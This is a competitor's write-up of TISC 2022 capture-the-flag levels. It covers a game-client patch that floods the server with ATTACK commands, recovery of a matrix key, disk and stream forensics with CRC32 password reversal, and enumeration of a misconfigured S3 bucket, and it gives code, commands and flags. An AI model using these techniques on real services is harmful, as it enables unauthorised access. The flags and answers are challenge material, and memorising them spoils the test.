The TISC 2022 Writeup
I spent some time over the 2 weeks doing the CSIT The InfoSecurity Challenge.
Overall I think I did decent, as I could get the Level 4 Badge. Out of the 213 who got points, I was in the 59th position.
Here are my writeups
Level 1
Solution
Firstly, source code is given, so I started reading it.
It includes both the client and server code
(base) [hacker@hackerbook src]$ ls
Dockerfile PLEASE_READ.txt client core docker-compose.yml flag.txt main.py poetry.lock pyproject.toml requirements.txt run_server.py server
(base) [hacker@hackerbook src]$
From the looks of the Dockerfile, there's a flag file on the server
COPY --from=builder /venv /venv
COPY flag.txt /
COPY . /app
RUN rm /app/flag.txt
RUN adduser -u 5678 --disabled-password --gecos "" appuser && chown -R appuser /app
RUN chown root:appuser /flag.txt
RUN chmod 440 /flag.txt
...
Basic Analysis
Server Code
The main server code is in run_server.py
. It imports several libraries from the server
folder
from typing import Optional
from core.models import Command
from server import GameServer
from server.service import (
BattleService,
BuyPotionService,
BuySwordService,
ViewStatsService,
WorkService,
)
server = GameServer.create()
def execute(command: Optional[Command]):
match command:
case Command.BATTLE:
server.run(BattleService(server=server))
case Command.VIEW_STATS:
server.run(ViewStatsService(server=server))
case Command.WORK:
server.run(WorkService(server=server))
case Command.BUY_SWORD:
server.run(BuySwordService(server=server))
case Command.BUY_POTION:
server.run(BuyPotionService(server=server))
case Command.EXIT:
server.exit()
while True:
execute(server.recv_command())
Looking at the files in the server folder, we can see where they read the file in server/gameserver.py
@dataclass
class GameServer:
connection: NetClient
game: Game
...
def recv_command(self) -> Optional[Command]:
try:
return Command(self.__recv())
except ValueError:
return None
...
def send_flag(self):
with open("/flag.txt", "r") as f:
self.__send(f.read())
I tried to look through all the files for where the send_flag
function is called (by searching for send_flag
)
(base) [hacker@hackerbook src]$ grep -rnw ./ -e 'send_flag'
./server/service/battleservice.py:55: self.server.send_flag()
./server/gameserver.py:50: def send_flag(self):
(base) [hacker@hackerbook src]$
In server/service/battleservice.py
, is the battle code. The flag is called when the battle is won and when there is no next boss.
from __future__ import annotations
from typing import TYPE_CHECKING, Optional
from core.models import Command, CommandHistorian, Result
if TYPE_CHECKING:
from server import GameServer
class BattleService:
...
def run(self):
self.__send_next_boss()
while True:
self.history.log_commands_from_str(self.server.recv_command_str())
match self.history.latest:
case Command.ATTACK | Command.HEAL:
self.history.log_command(Command.BOSS_ATTACK)
case Command.VALIDATE:
break
case Command.RUN:
return
case _:
self.server.exit(1)
match self.__compute_battle_outcome():
case Result.PLAYER_WIN_BATTLE:
self.__handle_battle_win()
return
case Result.BOSS_WIN_BATTLE:
self.server.exit()
case _:
self.server.exit(1)
def __handle_battle_win(self):
self.server.game.remove_next_boss()
if self.__boss_available_for_next_battle():
self.server.send_result(Result.VALIDATED_OK)
return
self.server.send_result(Result.OBTAINED_FLAG)
self.server.send_flag()
self.server.exit()
def __boss_available_for_next_battle(self) -> bool:
return not (self.server.game.next_boss is None)
...
Hmm there's some unexpected code
Core Code
I first read core/game.py
to know more about the class Game
. It suggests that there are a list of bosses from a json file. Most likely the list on the server is hidden
import json
import sys
from dataclasses import dataclass, field
from typing import List, Optional
from core.config import BOSS_DATA_FILE
from core.models.boss import Boss
from core.models.player import Player
@dataclass
class Game:
bosses: List[Boss]
player: Player = field(default_factory=Player)
@property
def next_boss(self) -> Optional[Boss]:
try:
return self.bosses[0]
except IndexError:
return None
@classmethod
def create(cls) -> "Game":
bosses = Game.__load_bosses(BOSS_DATA_FILE)
if len(bosses) == 0:
sys.exit(-1)
return cls(bosses=bosses)
def remove_next_boss(self):
self.bosses = self.bosses[1:]
@staticmethod
def __load_bosses(filename: str) -> List[Boss]:
with open(filename, "r") as f:
return [
Boss(**boss_data, max_hp=boss_data["hp"])
for boss_data in json.load(f)
]
I also looked at the player code, one interesting thing is that
- More swords are basically useless, as they will still deal 2 damage
from __future__ import annotations
import json
from dataclasses import dataclass
from typing import TYPE_CHECKING
if TYPE_CHECKING:
from core.models.boss import Boss
from core.config import BASE_ATTACK, POTION_POTENCY, SWORD_ATTACK_BONUS
@dataclass
class Player:
hp: int = 10
max_hp: int = 10
gold: int = 0
sword: int = 0
potion: int = 0
@property
def attack(self) -> int:
return BASE_ATTACK + self.__compute_bonus_attack()
@property
def is_alive(self) -> bool:
return self.hp > 0
@property
def is_dead(self) -> bool:
return not self.is_alive
@property
def lost_hp(self) -> int:
return self.max_hp - self.hp
def receive_attack_from(self, attacker: "Boss"):
self.hp -= attacker.attack
def use_potion(self):
if not self.__has_potion():
return
self.potion -= 1
self.hp = min(self.hp + POTION_POTENCY, self.max_hp)
@classmethod
def from_json(cls, data: str) -> "Player":
return cls(**json.loads(data))
def to_json(self) -> str:
return json.dumps(self.__dict__)
def __compute_bonus_attack(self) -> int:
if not self.__has_sword():
return 0
return SWORD_ATTACK_BONUS
def __has_sword(self) -> bool:
return self.sword > 0
def __has_potion(self) -> bool:
return self.potion > 0
def __str__(self):
return (
f"HP:{self.hp}/{self.max_hp}\n"
+ f"ATTACK:{self.attack}\n"
+ f"GOLD:{self.gold}\n"
+ f"POTIONS:{self.potion}"
)
Client Code
I tried looking at the client code, which is kinda weird. I ended up stumbling on src/client/event/battleevent.py
I wanted to find if there's anything client side that doesn't sync with server side. Maybe we could exploit that.
From the looks of it the client side initialises everything separately from the server. It uses new models, and does not always update from the server.
from typing import Optional
from client import GameClient
from client.error import Error
from client.ui import screens
from core.models import Boss, Command, Result
class BattleEvent:
def __init__(self, client: GameClient) -> None:
self.client = client
self.player = client.player
def run(self):
self.boss: Boss = self.client.fetch_next_boss()
while True:
self.__display()
match self.__get_battle_command():
case Command.ATTACK:
self.__attack_boss()
if self.boss.is_dead:
break
case Command.HEAL:
self.__use_potion()
case Command.RUN:
self.client.send_command(Command.RUN)
return
case _:
continue
self.player.receive_attack_from(self.boss)
if self.player.is_dead:
break
self.client.send_command(Command.VALIDATE)
if self.player.is_dead:
self.__handle_death()
match self.client.fetch_result():
case Result.VALIDATED_OK:
screens.display_boss_slain_screen()
return
case Result.OBTAINED_FLAG:
screens.display_flag_screen(self.client.fetch_flag())
self.client.exit()
case _:
screens.display_error(Error.RECEIVED_MALFORMED_RESULT)
self.client.exit(1)
def __use_potion(self):
self.client.send_command(Command.HEAL)
self.player.use_potion()
def __attack_boss(self):
self.client.send_command(Command.ATTACK)
self.boss.receive_attack_from(self.player)
def __handle_death(self):
screens.display_game_over_screen()
self.client.exit()
def __display(self):
screens.display_battle_screen(player=self.player, boss=self.boss)
def __get_battle_command(self) -> Optional[Command]:
match input():
case "1":
return Command.ATTACK
case "2":
return Command.HEAL
case "3":
return Command.RUN
case _:
return None
Discrepancy Found between Client & Server Events
Battle
There are generally no discrepancies, as shown in the codes above.
Generally after an attack command, the server will register an extra boss attack command on their side too.
def run(self):
self.__send_next_boss()
while True:
self.history.log_commands_from_str(self.server.recv_command_str())
match self.history.latest:
case Command.ATTACK | Command.HEAL:
self.history.log_command(Command.BOSS_ATTACK)
case Command.VALIDATE:
break
case Command.RUN:
return
case _:
self.server.exit(1)
Shop
The client side code client/event/shopevent.py
only handles sending the commands, and does not update the local player model.
The server side codes server/event/buyswordservice.py
and server/event/buypotionservice.py
generally handle the main validation, which only checks if the player has enough gold to buy.
Unlimited Gold Exploit
After some digging, and checking each of the potential events, I found out discrepancies between the work service.
The Server code does not do any validation in server/event/workservice.py
from __future__ import annotations
from typing import TYPE_CHECKING
from core.config import WORK_SALARY
if TYPE_CHECKING:
from server import GameServer
class WorkService:
def __init__(self, server: GameServer):
self.server = server
def run(self):
self.server.game.player.gold += WORK_SALARY
The Client code does validation in client/event/workevent.py
.
from random import random
from client import GameClient
from client.ui import screens
from core.models import Command
CREEPER_ENCOUNTER_CHANCE = 0.2
class WorkEvent:
def __init__(self, client: GameClient) -> None:
self.client = client
def run(self):
if random() <= CREEPER_ENCOUNTER_CHANCE:
self.__die_to_creeper()
self.__mine_safely()
def __die_to_creeper(self):
screens.display_creeper_screen()
screens.display_game_over_screen()
self.client.exit()
def __mine_safely(self):
screens.display_working_screen()
self.client.send_command(Command.WORK)
Since the client side is something we can control, I reduced the CREEPER_ENCOUNTER_CHANCE
to 0. This allows us to get infinite gold. I also removed the display working screen because I can.
My modified code is here
from random import random
from client import GameClient
from client.ui import screens
from core.models import Command
CREEPER_ENCOUNTER_CHANCE = 0 #.2
class WorkEvent:
def __init__(self, client: GameClient) -> None:
self.client = client
def run(self):
if random() <= CREEPER_ENCOUNTER_CHANCE:
self.__die_to_creeper()
self.__mine_safely()
def __die_to_creeper(self):
screens.display_creeper_screen()
screens.display_game_over_screen()
self.client.exit()
def __mine_safely(self):
#screens.display_working_screen()
self.client.send_command(Command.WORK)
Running the Client Code
Unlimited gold exploit can be used to increase number of potions, but not number of swords
Among the bosses is one with attack 50, which instant kills
Another Exploit - Command Interpretation
When checking for the battle events, as I want to bypass the attack power restriction, I noticed the client side code parsed the commands weirdly. Why commands
instead of command
def run(self):
self.__send_next_boss()
while True:
self.history.log_commands_from_str(self.server.recv_command_str()) # Should be log_command_from_str
match self.history.latest:
case Command.ATTACK | Command.HEAL:
self.history.log_command(Command.BOSS_ATTACK)
case Command.VALIDATE:
break
case Command.RUN:
return
case _:
self.server.exit(1)
If you check the CommandHistorian class used from core/models/command.py
, you notice that the function used, log_commands_from_str
to parse the commands actually can parse more than 1 command at once
@dataclass
class CommandHistorian:
commands: List[Command] = field(default_factory=list)
def log_command(self, command: Command):
self.commands.append(command)
def log_commands(self, commands: List[Command]):
self.commands.extend(commands)
def log_command_from_str(self, command_str: str):
self.log_command(Command(command_str))
def log_commands_from_str(self, commands_str: str):
self.log_commands(
[Command(command_str) for command_str in commands_str.split()]
)
...
I modified the function in battleevent.py
to send more than 1 command
def __attack_boss(self):
#self.client.send_command(Command.ATTACK)
value = " ".join(["ATTACK" for i in range(500)])
self.client._GameClient__send(value)
for i in range(500):self.boss.receive_attack_from(self.player)
Just run python3 main.py --host chal00bq3ouweqtzva9xcobep6spl5m75fucey.ctf.sg --port 18261
, keep attacking the bosses, and you should get the flag
Flag
TISC{L3T5_M33T_4G41N_1N_500_Y34R5_96eef57b46a6db572c08eef5f1924bc3}
Level 2
Easy Challenge, just basic math lol
https://api.tisc.csit-events.sg/file?id=cl6j1u5ua09al0838dm6l6udp&name=2WKV_Whitepaper.pdf
Solution
Matrix Multiplication
On reading the PDF document, you can find the code for the server and a brief explanation.
The code generates an 8x8 matrix SECRET_KEY. You can provide challenge to get a response 8 times. Then they give you the challenge inputvector, and you are supposed to return the correct response input vector 8 times. If all is correct you are verified and you get the flag.
Refresher on matrix multiplication (Secondary School topic)
We can give a vector with only 1 value set to 1, (eg. 10000000
) to find 8 corresponding values in the SECRET_KEY matrix. We can repeat this 8 times to get the entire matrix
Solution Script and Command Output
#!/usr/bin/python
"""
# Answers
10000000
01000000
00100000
00010000
00001000
00000100
00000010
00000001
"""
responses = """
00111100
00100010
10010110
11111011
11110001
00011001
10010110
00001100
""".strip().split("\n")
import numpy as np
def strtovec(s, rows=8, cols=1):
return np.fromiter(list(s), dtype="int").reshape(rows, cols)
SKEY = [ [0 for j in range(8)] for i in range(8)]
for i in range(len(responses)): # lines
for j in range(8):
SKEY[j][i] = int(responses[i][j])
# for i in SKEY: print(i) # Visualise
SECRET_KEY = np.array(SKEY)
for i in range(8):
input_vec = strtovec(input("InputVector: "))
answer_vec = (SECRET_KEY @ input_vec) & 1
output = ""
for i in answer_vec:
output += str(i[0])
print(output)
(base) [hacker@hackerbook Level 2]$ python3 solution.py
InputVector: 10010100
11011110
InputVector: 01010111
01011010
InputVector: 00000111
10000011
InputVector: 00011011
10010000
InputVector: 11110101
01100110
InputVector: 00100011
00001100
InputVector: 10100111
00101001
InputVector: 10110000
01010001
(base) [hacker@hackerbook Level 2]$
[hacker@hackerbook src]$ nc chal00bq3ouweqtzva9xcobep6spl5m75fucey.ctf.sg 56765
:::::::: ::: ::: ::: ::: :::
:+: :+: :+: :+: :+: :+: :+: :+:
+:+ +:+ +:+ +:+ +:+ +:+ +:+
+#+ +#+ +:+ +#+ +#++:++#++: +#++:
+#+ +#+ +#+#+ +#+ +#+ +#+ +#+
#+# #+#+# #+#+# #+# #+# #+#
########## ### ### ### ### ###
::: ::: :::::::::: ::: ::: ::: :::
:+: :+: :+: :+: :+: :+: :+:
+:+ +:+ +:+ +:+ +:+ +:+ +:+
+#++:++ +#++:++# +#++: +#+ +#++:++#++:++ +#+
+#+ +#+ +#+ +#+ +#+ +#+
#+# #+# #+# #+# #+# #+#
### ### ########## ### ### ###
::: ::: :::::::::: ::::::::: ::::::::::: :::::::::: ::: :::
:+: :+: :+: :+: :+: :+: :+: :+: :+:
+:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+
+#+ +:+ +#++:++# +#++:++#: +#+ :#::+::# +#++:
+#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+
#+#+#+# #+# #+# #+# #+# #+# #+#
### ########## ### ### ########### ### ###
=============
Challenge Me!
=============
Challenge Me #01 <-- 10000000
01000000
00100000
00010000
00001000
00000100
00000010
00000001
My Response --> 00111100
Challenge Me #02 <-- My Response --> 00100010
Challenge Me #03 <-- My Response --> 10010110
Challenge Me #04 <-- My Response --> 11111011
Challenge Me #05 <-- My Response --> 11110001
Challenge Me #06 <-- My Response --> 00011001
Challenge Me #07 <-- My Response --> 10010110
Challenge Me #08 <-- My Response --> 00001100
==============
Challenge You!
==============
Challenge You #01 --> 10010100
Your Response <-- 11011110
Challenge You #02 --> 01010111
Your Response <-- 01011010
Challenge You #03 --> 00000111
Your Response <-- 10000011
Challenge You #04 --> 00011011
Your Response <-- 10010000
Challenge You #05 --> 11110101
Your Response <-- 01100110
Challenge You #06 --> 00100011
Your Response <-- 00001100
Challenge You #07 --> 10100111
Your Response <-- 00101001
Challenge You #08 --> 10110000
Your Response <-- 01010001
========================
All challenges passed :)
========================
=================================================================
Here is your flag: TISC{d0N7_R0lL_Ur_0wN_cRyp70_7a25ee4d777cc6e9}
=================================================================
[hacker@hackerbook src]$
Flag
TISC{d0N7_R0lL_Ur_0wN_cRyp70_7a25ee4d777cc6e9}
Level 3 - Part 1
Solution
Mounting
This looks like the image of a partition https://superuser.com/questions/1502676/what-are-the-hidden-sectors-in-the-output-of-the-file-command-for-partitions
If cannot mount, run testdisk to fix the boot sector
[hacker@hackerbook tmp]$ file PATIENT0
PATIENT0: DOS/MBR boot sector, code offset 0x52+2, OEM-ID "NTFS ", sectors/cluster 8, Media descriptor 0xf8, sectors/track 0, FAT (1Y bit by descriptor); NTFS, physical drive 0xab3566f7, sectors 12287, $MFT start cluster 4, $MFTMirror start cluster 767, bytes/RecordSegment 2^(-1*246), clusters/index block 1, serial number 05c66c6b160cddda1
[hacker@hackerbook tmp]$ mkdir /tmp/t
[hacker@hackerbook tmp]$ sudo mount PATIENT0 /tmp/t
[sudo] password for hacker:
[hacker@hackerbook tmp]$ cd /tmp/t
[hacker@hackerbook t]$ ls -al
total 12
drwxrwxrwx 1 root root 4096 Aug 20 01:37 .
drwxrwxrwt 17 root root 540 Aug 27 01:32 ..
-rwxr-xr-x 1 root root 6049 Aug 20 00:40 message.png
[hacker@hackerbook t]$
I used an image to text converter here
GIXFI2DJOJZXI6JAMZXXEIDUNBSSAZTMMFTT6ICHN4QGM2LOMQQHI2DFEBZXI4TFMFWS4CQ=
I then used cyberchef to identify it was base32, and then convert it as such.
[hacker@hackerbook t]$ echo "GIXFI2DJOJZXI6JAMZXXEIDUNBSSAZTMMFTT6ICHN4QGM2LOMQQHI2DFEBZXI4TFMFWS4CQ=" | base32 -d
2.Thirsty for the flag? Go find the stream.
[hacker@hackerbook t]$
Autopsy
┌──(kali㉿kali)-[/tmp]
└─$ tsk_recover PATIENT0 files
Files Recovered: 1
┌──(kali㉿kali)-[/tmp]
└─$ ls files
broken.pdf
┌──(kali㉿kali)-[/tmp]
└─$
┌──(kali㉿kali)-[/tmp]
└─$ exiftool /tmp/broken.pdf
ExifTool Version Number : 12.36
File Name : broken.pdf
Directory : /tmp
File Size : 499 KiB
File Modification Date/Time : 2022:08:27 05:24:56-04:00
File Access Date/Time : 2022:08:27 05:24:57-04:00
File Inode Change Date/Time : 2022:08:27 05:24:56-04:00
File Permissions : -rwxr-xr-x
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.7
Linearized : No
Author : user
Create Date : 2022:08:20 03:35:28+10:00
Modify Date : 2022:08:20 03:35:28+10:00
Producer : Microsoft: Print To PDF
Title : Microsoft Word - Document1
Page Count : 1
┌──(kali㉿kali)-[/tmp]
└─$
File Stream
When I read the word stream, I immediately thought of file stream, which lead me to this:
https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams
Clues
- The BPB is broken, can you fix it?
- Thirsty for the flag? Go find the stream.
- Are these True random bytes for Cryptology
- If you need a password, the original reading of the BPB was actually Checked and ReChecked 32 times!
Googling for terms
I assume its about analysing the BIOS Parameter Blocks. Now need to find the term to do so.
Analysing BPB
I opened the file in a hex editor and tried to check on the BIOS Parameter Blocks
https://en.wikipedia.org/wiki/NTFS#Partition_Boot_Sector_(PBS)
Comparison shows 0x18, 0x1a, 0x1c values are 0
0x28 is diff but its because its the partition size, 0x48 diff because unique, 0x20 is diff but its useless
End of Sector Marking
According to Wikipedia, Sector 1 0x20
The Byte Offset 0x20 is supposed to be all 00
, while 0x24 is supposed to be 80 00 80 00
(Little Endian, causing things to be reversed. However, in the file they are different, as shown.
Selecting those 4 bytes and wrapping them gives the flag
Flag
TISC{f76635ab}
Level 3 - Part 2
'
Solution - Continued
Looking at Hints 2 & 3, you can infer that the solution is TrueCrypt
Clue 4 Capitalises the letters C, R, C and includes the number 32, suggesting the algorithm is CRC32.
I fixed the disk image using the testdisk
command. Opening the file with that command, I then fixed the boot sector (since the corrupted bytes are there). This is to allow us to mount the image.
I mounted the disk image in Windows using OSFMount
I downloaded the NTFS Data Stream message.png:$RAND using the AlternateStreamView Program. This is to extract the stream properly. I was stuck on extracting it through Autopsy, and it didn't extract the volume properly.
Afterwards, I removed the text characters at the start. They are likely data added on to the initial data.
Used f76635ab
as password (The Flag)
Inside the volume has this image
CRC32 Cracking
I downloaded a CRC32 cracking program and used it to crack the modified bytes. I modified the program to crack for the specific situation
┌──(kali㉿kali)-[/tmp]
└─$ git clone https://github.com/theonlypwner/crc32.git
Cloning into 'crc32'...
remote: Enumerating objects: 53, done.
remote: Counting objects: 100% (34/34), done.
remote: Compressing objects: 100% (19/19), done.
remote: Total 53 (delta 13), reused 30 (delta 11), pack-reused 19
Receiving objects: 100% (53/53), 43.08 KiB | 6.15 MiB/s, done.
Resolving deltas: 100% (19/19), done.
┌──(kali㉿kali)-[/tmp]
└─$ cd crc32
┌──(kali㉿kali)-[/tmp/crc32]
└─$ ls
crc32.py LICENSE.txt README.md test_data.py test.py
┌──(kali㉿kali)-[/tmp/crc32]
└─$ mousepad crc32.py
┌──(kali㉿kali)-[/tmp/crc32]
└─$ python crc32.py reverse 0xf76635ab > gen 1 ⨯ 1 ⚙
┌──(kali㉿kali)-[/tmp/crc32]
└─$
Here are the modifications I made to crc32.py
def reverse_callback():
# initialize tables
init_tables(get_poly())
# find reverse bytes
desired = parse_dword(args.desired)
accum = parse_dword(args.accum)
# 4-byte patch
patches = findReverse(desired, accum)
for patch in patches:
text = ''
if all(p in permitted_characters for p in patch):
text = '{}{}{}{} '.format(*map(chr, patch))
out('4 bytes: {}{{0x{:02x}, 0x{:02x}, 0x{:02x}, 0x{:02x}}}'.format(text, *patch))
checksum = calc(patch, accum)
out('verification checksum: 0x{:08x} ({})'.format(
checksum, 'OK' if checksum == desired else 'ERROR'))
def print_permitted_reverse(patch):
patches = findReverse(desired, calc(patch, accum))
for last_4_bytes in patches:
if all(p in permitted_characters for p in last_4_bytes):
patch2 = patch + last_4_bytes
out('{} bytes: {} ({})'.format(
len(patch2),
''.join(map(chr, patch2)),
'OK' if calc(patch2, accum) == desired else 'ERROR'))
# 5-byte alphanumeric patches
for i in permitted_characters:
print_permitted_reverse((i,))
# 6-byte alphanumeric patches
for i in permitted_characters:
for j in permitted_characters:
print_permitted_reverse((i, j))
# 7-byte alphanumeric patches
for i in permitted_characters:
for j in permitted_characters:
for k in permitted_characters:
print_permitted_reverse((i, j, k))
# 9-byte
for i in permitted_characters:
for j in permitted_characters:
for k in permitted_characters:
for x in permitted_characters:
y = ord('c')
print_permitted_reverse((y, i, j, k, x))
What came out was a list of potential passwords, which if passed though CRC32, could produce the modified bytes. One of the entries, c01lis1on
, seemed interesting.
PPT File
Keying in c01lis1on
as the password, I get flag.ppsm
, which is a PowerPoint presentation.
Opening it gives me a tip on how to get the flag
I then extracted the mp3 file from the PowerPoint Slide.
┌──(kali㉿kali)-[~]
└─$ cp /media/sf_Stuff/flag.ppsm /tmp
┌──(kali㉿kali)-[~]
└─$ file /tmp/flag.ppsm
/tmp/flag.ppsm: Microsoft PowerPoint 2007+
┌──(kali㉿kali)-[~]
└─$ cd /tmp
┌──(kali㉿kali)-[/tmp]
└─$ dtrx flag.ppsm
dtrx: ERROR: could not handle flag.ppsm
dtrx: ERROR: not a known archive type
┌──(kali㉿kali)-[/tmp]
└─$ cp flag.ppsm flag.zip 1 ⨯
┌──(kali㉿kali)-[/tmp]
└─$ dtrx flag.zip
┌──(kali㉿kali)-[/tmp]
└─$ cd flag
┌──(kali㉿kali)-[/tmp/flag]
└─$ ls
'[Content_Types].xml' docProps ppt _rels
┌──(kali㉿kali)-[/tmp/flag]
└─$ ls -alR
.:
total 24
drwx------ 5 kali kali 4096 Sep 8 08:47 .
drwxrwxrwt 18 root root 4096 Sep 8 08:47 ..
-rw-r--r-- 1 kali kali 3273 Jan 1 1980 '[Content_Types].xml'
drwxr-xr-x 2 kali kali 4096 Sep 8 08:47 docProps
drwxr-xr-x 8 kali kali 4096 Sep 8 08:47 ppt
drwxr-xr-x 2 kali kali 4096 Sep 8 08:47 _rels
./docProps:
total 28
drwxr-xr-x 2 kali kali 4096 Sep 8 08:47 .
drwx------ 5 kali kali 4096 Sep 8 08:47 ..
-rw-r--r-- 1 kali kali 1299 Jan 1 1980 app.xml
-rw-r--r-- 1 kali kali 644 Jan 1 1980 core.xml
-rw-r--r-- 1 kali kali 11197 Jan 1 1980 thumbnail.jpeg
./ppt:
total 48
drwxr-xr-x 8 kali kali 4096 Sep 8 08:47 .
drwx------ 5 kali kali 4096 Sep 8 08:47 ..
drwxr-xr-x 2 kali kali 4096 Sep 8 08:47 media
-rw-r--r-- 1 kali kali 3380 Jan 1 1980 presentation.xml
-rw-r--r-- 1 kali kali 816 Jan 1 1980 presProps.xml
drwxr-xr-x 2 kali kali 4096 Sep 8 08:47 _rels
drwxr-xr-x 3 kali kali 4096 Sep 8 08:47 slideLayouts
drwxr-xr-x 3 kali kali 4096 Sep 8 08:47 slideMasters
drwxr-xr-x 3 kali kali 4096 Sep 8 08:47 slides
-rw-r--r-- 1 kali kali 182 Jan 1 1980 tableStyles.xml
drwxr-xr-x 2 kali kali 4096 Sep 8 08:47 theme
-rw-r--r-- 1 kali kali 810 Jan 1 1980 viewProps.xml
./ppt/media:
total 1112
drwxr-xr-x 2 kali kali 4096 Sep 8 08:47 .
drwxr-xr-x 8 kali kali 4096 Sep 8 08:47 ..
-rw-r--r-- 1 kali kali 16169 Jan 1 1980 image1.png
-rw-r--r-- 1 kali kali 147982 Jan 1 1980 image2.jpg
-rw-r--r-- 1 kali kali 961443 Jan 1 1980 media1.mp3
./ppt/_rels:
total 12
drwxr-xr-x 2 kali kali 4096 Sep 8 08:47 .
drwxr-xr-x 8 kali kali 4096 Sep 8 08:47 ..
-rw-r--r-- 1 kali kali 976 Jan 1 1980 presentation.xml.rels
./ppt/slideLayouts:
total 72
drwxr-xr-x 3 kali kali 4096 Sep 8 08:47 .
drwxr-xr-x 8 kali kali 4096 Sep 8 08:47 ..
drwxr-xr-x 2 kali kali 4096 Sep 8 08:47 _rels
-rw-r--r-- 1 kali kali 2946 Jan 1 1980 slideLayout10.xml
-rw-r--r-- 1 kali kali 3170 Jan 1 1980 slideLayout11.xml
-rw-r--r-- 1 kali kali 3648 Jan 1 1980 slideLayout1.xml
-rw-r--r-- 1 kali kali 2891 Jan 1 1980 slideLayout2.xml
-rw-r--r-- 1 kali kali 4384 Jan 1 1980 slideLayout3.xml
-rw-r--r-- 1 kali kali 3756 Jan 1 1980 slideLayout4.xml
-rw-r--r-- 1 kali kali 6285 Jan 1 1980 slideLayout5.xml
-rw-r--r-- 1 kali kali 2223 Jan 1 1980 slideLayout6.xml
-rw-r--r-- 1 kali kali 1897 Jan 1 1980 slideLayout7.xml
-rw-r--r-- 1 kali kali 4704 Jan 1 1980 slideLayout8.xml
-rw-r--r-- 1 kali kali 4623 Jan 1 1980 slideLayout9.xml
./ppt/slideLayouts/_rels:
total 52
drwxr-xr-x 2 kali kali 4096 Sep 8 08:47 .
drwxr-xr-x 3 kali kali 4096 Sep 8 08:47 ..
-rw-r--r-- 1 kali kali 311 Jan 1 1980 slideLayout10.xml.rels
-rw-r--r-- 1 kali kali 311 Jan 1 1980 slideLayout11.xml.rels
-rw-r--r-- 1 kali kali 311 Jan 1 1980 slideLayout1.xml.rels
-rw-r--r-- 1 kali kali 311 Jan 1 1980 slideLayout2.xml.rels
-rw-r--r-- 1 kali kali 311 Jan 1 1980 slideLayout3.xml.rels
-rw-r--r-- 1 kali kali 311 Jan 1 1980 slideLayout4.xml.rels
-rw-r--r-- 1 kali kali 311 Jan 1 1980 slideLayout5.xml.rels
-rw-r--r-- 1 kali kali 311 Jan 1 1980 slideLayout6.xml.rels
-rw-r--r-- 1 kali kali 311 Jan 1 1980 slideLayout7.xml.rels
-rw-r--r-- 1 kali kali 311 Jan 1 1980 slideLayout8.xml.rels
-rw-r--r-- 1 kali kali 311 Jan 1 1980 slideLayout9.xml.rels
./ppt/slideMasters:
total 28
drwxr-xr-x 3 kali kali 4096 Sep 8 08:47 .
drwxr-xr-x 8 kali kali 4096 Sep 8 08:47 ..
drwxr-xr-x 2 kali kali 4096 Sep 8 08:47 _rels
-rw-r--r-- 1 kali kali 12846 Jan 1 1980 slideMaster1.xml
./ppt/slideMasters/_rels:
total 12
drwxr-xr-x 2 kali kali 4096 Sep 8 08:47 .
drwxr-xr-x 3 kali kali 4096 Sep 8 08:47 ..
-rw-r--r-- 1 kali kali 1991 Jan 1 1980 slideMaster1.xml.rels
./ppt/slides:
total 16
drwxr-xr-x 3 kali kali 4096 Sep 8 08:47 .
drwxr-xr-x 8 kali kali 4096 Sep 8 08:47 ..
drwxr-xr-x 2 kali kali 4096 Sep 8 08:47 _rels
-rw-r--r-- 1 kali kali 3653 Jan 1 1980 slide1.xml
./ppt/slides/_rels:
total 12
drwxr-xr-x 2 kali kali 4096 Sep 8 08:47 .
drwxr-xr-x 3 kali kali 4096 Sep 8 08:47 ..
-rw-r--r-- 1 kali kali 838 Jan 1 1980 slide1.xml.rels
./ppt/theme:
total 16
drwxr-xr-x 2 kali kali 4096 Sep 8 08:47 .
drwxr-xr-x 8 kali kali 4096 Sep 8 08:47 ..
-rw-r--r-- 1 kali kali 6807 Jan 1 1980 theme1.xml
./_rels:
total 12
drwxr-xr-x 2 kali kali 4096 Sep 8 08:47 .
drwx------ 5 kali kali 4096 Sep 8 08:47 ..
-rw-r--r-- 1 kali kali 738 Jan 1 1980 .rels
┌──(kali㉿kali)-[/tmp/flag]
└─$ md5sum ./ppt/media/media1.mp3
f9fc54d767edc937fc24f7827bf91cfe ./ppt/media/media1.mp3
Flag
TISC{f9fc54d767edc937fc24f7827bf91cfe}
Level 4B
Solution
Identifying S3 Bucket
Firstly, I viewed the source code of the website at https://d20whnyjsgpc34.cloudfront.net, which suggests AWS S3 buckets (since it uses the term S3).
<header>
<div class="p-5 text-center bg-light">
<!-- Passcode -->
<h1 class="mb-3">Cats rule the world</h1>
<!-- Passcode -->
<!--
----- Completed -----
* Configure CloudFront to use the bucket - palindromecloudynekos as the origin
----- TODO -----
* Configure custom header referrer and enforce S3 bucket to only accept that particular header
* Secure all object access
-->
<h4 class="mb-3">—ฅ/ᐠ. ̫ .ᐟ\ฅ —</h4>
</div>
</header>
Researching on AWS S3 Buckets gets me to this link, https://atos.net/en/lp/securitydive/poorly-configured-s3-buckets-a-hackers-delight. Following a typical bucket header, I get the link https://palindromecloudynekos.s3.amazonaws.com/index.html
Enumerating S3 Bucket
I installed AWS CLI following this guide, and configured it using my peronal account.
I then accessed the bucket following this guide
┌──(kali㉿kali)-[/tmp/flag]
└─$ aws s3 ls s3://
┌──(kali㉿kali)-[/tmp/flag]
└─$ aws s3 ls s3://palindromecloudynekos
PRE api/
PRE img/
2022-08-23 09:16:20 34 error.html
2022-08-23 09:16:20 2257 index.html
┌──(kali㉿kali)-[/tmp/flag]
└─$ aws s3 ls s3://palindromecloudynekos/img/
2022-07-22 06:02:45 404845 photo1.jpg
2022-07-22 06:02:45 164700 photo2.jpg
2022-07-22 06:02:46 199175 photo3.jpg
2022-07-22 06:02:45 226781 photo4.jpg
2022-07-22 06:02:46 249156 photo5.jpg
2022-07-22 06:02:45 185166 photo6.jpg
┌──(kali㉿kali)-[/tmp/flag]
└─$ aws s3 ls s3://palindromecloudynekos/api/
2022-08-23 09:16:20 432 notes.txt
┌──(kali㉿kali)-[/tmp/flag]
└─$
I accessed the file through the initial cloudfront URL. The bucket URL had permissions to prevent notes.txt
from being accessed directly from there
┌──(kali㉿kali)-[~]
└─$ curl https://d20whnyjsgpc34.cloudfront.net/api/notes.txt
# Neko Access System Invocation Notes
Invoke with the passcode in the header "x-cat-header". The passcode is found on the cloudfront site, all lower caps and separated using underscore.
https://b40yqpyjb3.execute-api.ap-southeast-1.amazonaws.com/prod/agent
